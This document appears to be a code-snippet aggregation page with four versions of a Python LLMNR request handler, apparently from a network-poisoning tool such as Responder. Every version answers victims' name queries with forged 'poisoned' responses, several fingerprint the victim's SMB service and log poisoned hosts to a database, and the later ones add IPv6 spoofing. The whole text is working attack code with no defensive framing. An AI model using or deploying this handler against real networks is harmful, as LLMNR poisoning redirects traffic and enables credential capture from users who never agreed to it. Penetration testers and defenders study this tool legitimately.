Exemplo n.º 1
0
	def handle(self):
		data, soc = self.request
		Name = Parse_LLMNR_Name(data)

		# Break out if we don't want to respond to this host
		if RespondToThisHost(self.client_address[0], Name) is not True:
			return None

		if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):

			if settings.Config.Finger_On_Off:
				Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
			else:
				Finger = None

			# Analyze Mode
			if settings.Config.AnalyzeMode:
				LineHeader = "[Analyze mode: LLMNR]"
				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)

			# Poisoning Mode
			else:
				Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
				Buffer.calculate()
				soc.sendto(str(Buffer), self.client_address)
				LineHeader = "[*] [LLMNR]"

				print color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)

			if Finger is not None:
				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
Exemplo n.º 2
0
    def handle(self):
        data, soc = self.request
        Name = Parse_LLMNR_Name(data)

        # Break out if we don't want to respond to this host
        if RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
            Finger = None
            if settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger(
                    (self.client_address[0], 445))

            if settings.Config.AnalyzeMode:
                LineHeader = "[Analyze mode: LLMNR]"
                print color(
                    "%s Request by %s for %s, ignoring" %
                    (LineHeader, self.client_address[0], Name), 2, 1)
            else:  # Poisoning Mode
                Buffer = LLMNR_Ans(Tid=data[0:2],
                                   QuestionName=Name,
                                   AnswerName=Name)
                Buffer.calculate()
                soc.sendto(str(Buffer), self.client_address)
                LineHeader = "[*] [LLMNR]"
                print color(
                    "%s  Poisoned answer sent to %s for name %s" %
                    (LineHeader, self.client_address[0], Name), 2, 1)

            if Finger is not None:
                print text("[FINGER] OS Version     : %s" %
                           color(Finger[0], 3))
                print text("[FINGER] Client Version : %s" %
                           color(Finger[1], 3))
Exemplo n.º 3
0
	def handle(self):
		try:
			data, soc = self.request
			Name = Parse_LLMNR_Name(data).decode("latin-1")
			# Break out if we don't want to respond to this host
			if RespondToThisHost(self.client_address[0], Name) is not True:
				return None
			if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
				Finger = None
				if settings.Config.Finger_On_Off:
					Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
	
				if settings.Config.AnalyzeMode:
					LineHeader = "[Analyze mode: LLMNR]"
					print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
					SavePoisonersToDb({
							'Poisoner': 'LLMNR', 
							'SentToIp': self.client_address[0], 
							'ForName': Name,
							'AnalyzeMode': '1',
							})
				else:  # Poisoning Mode
					Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
					Buffer1.calculate()
					soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
					LineHeader = "[*] [LLMNR]"
					print(color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
					SavePoisonersToDb({
							'Poisoner': 'LLMNR', 
							'SentToIp': self.client_address[0], 
							'ForName': Name,
							'AnalyzeMode': '0',
							})
				if Finger is not None:
					print(text("[FINGER] OS Version     : %s" % color(Finger[0], 3)))
					print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
		except:
			raise
Exemplo n.º 4
0
    def handle(self):
        try:
            data, soc = self.request
            Name = Parse_LLMNR_Name(data).decode("latin-1")
            LLMNRType = Parse_IPV6_Addr(data)

            # Break out if we don't want to respond to this host
            if RespondToThisHost(self.client_address[0], Name) is not True:
                return None
            #IPv4
            if data[2:4] == b'\x00\x00' and LLMNRType:
                if settings.Config.AnalyzeMode:
                    LineHeader = "[Analyze mode: LLMNR]"
                    print(
                        color(
                            "%s Request by %s for %s, ignoring" %
                            (LineHeader, self.client_address[0], Name), 2, 1))
                    SavePoisonersToDb({
                        'Poisoner': 'LLMNR',
                        'SentToIp': self.client_address[0],
                        'ForName': Name,
                        'AnalyzeMode': '1',
                    })

                elif LLMNRType == True:  # Poisoning Mode
                    Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(
                        data[0:2]),
                                        QuestionName=Name,
                                        AnswerName=Name)
                    Buffer1.calculate()
                    soc.sendto(NetworkSendBufferPython2or3(Buffer1),
                               self.client_address)
                    LineHeader = "[*] [LLMNR]"
                    print(
                        color(
                            "%s  Poisoned answer sent to %s for name %s" %
                            (LineHeader, self.client_address[0], Name), 2, 1))
                    SavePoisonersToDb({
                        'Poisoner': 'LLMNR',
                        'SentToIp': self.client_address[0],
                        'ForName': Name,
                        'AnalyzeMode': '0',
                    })

                elif LLMNRType == 'IPv6':
                    Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(
                        data[0:2]),
                                         QuestionName=Name,
                                         AnswerName=Name)
                    Buffer1.calculate()
                    soc.sendto(NetworkSendBufferPython2or3(Buffer1),
                               self.client_address)
                    LineHeader = "[*] [LLMNR]"
                    print(
                        color(
                            "%s  Poisoned answer sent to %s for name %s" %
                            (LineHeader, self.client_address[0], Name), 2, 1))
                    SavePoisonersToDb({
                        'Poisoner': 'LLMNR6',
                        'SentToIp': self.client_address[0],
                        'ForName': Name,
                        'AnalyzeMode': '0',
                    })

        except:
            raise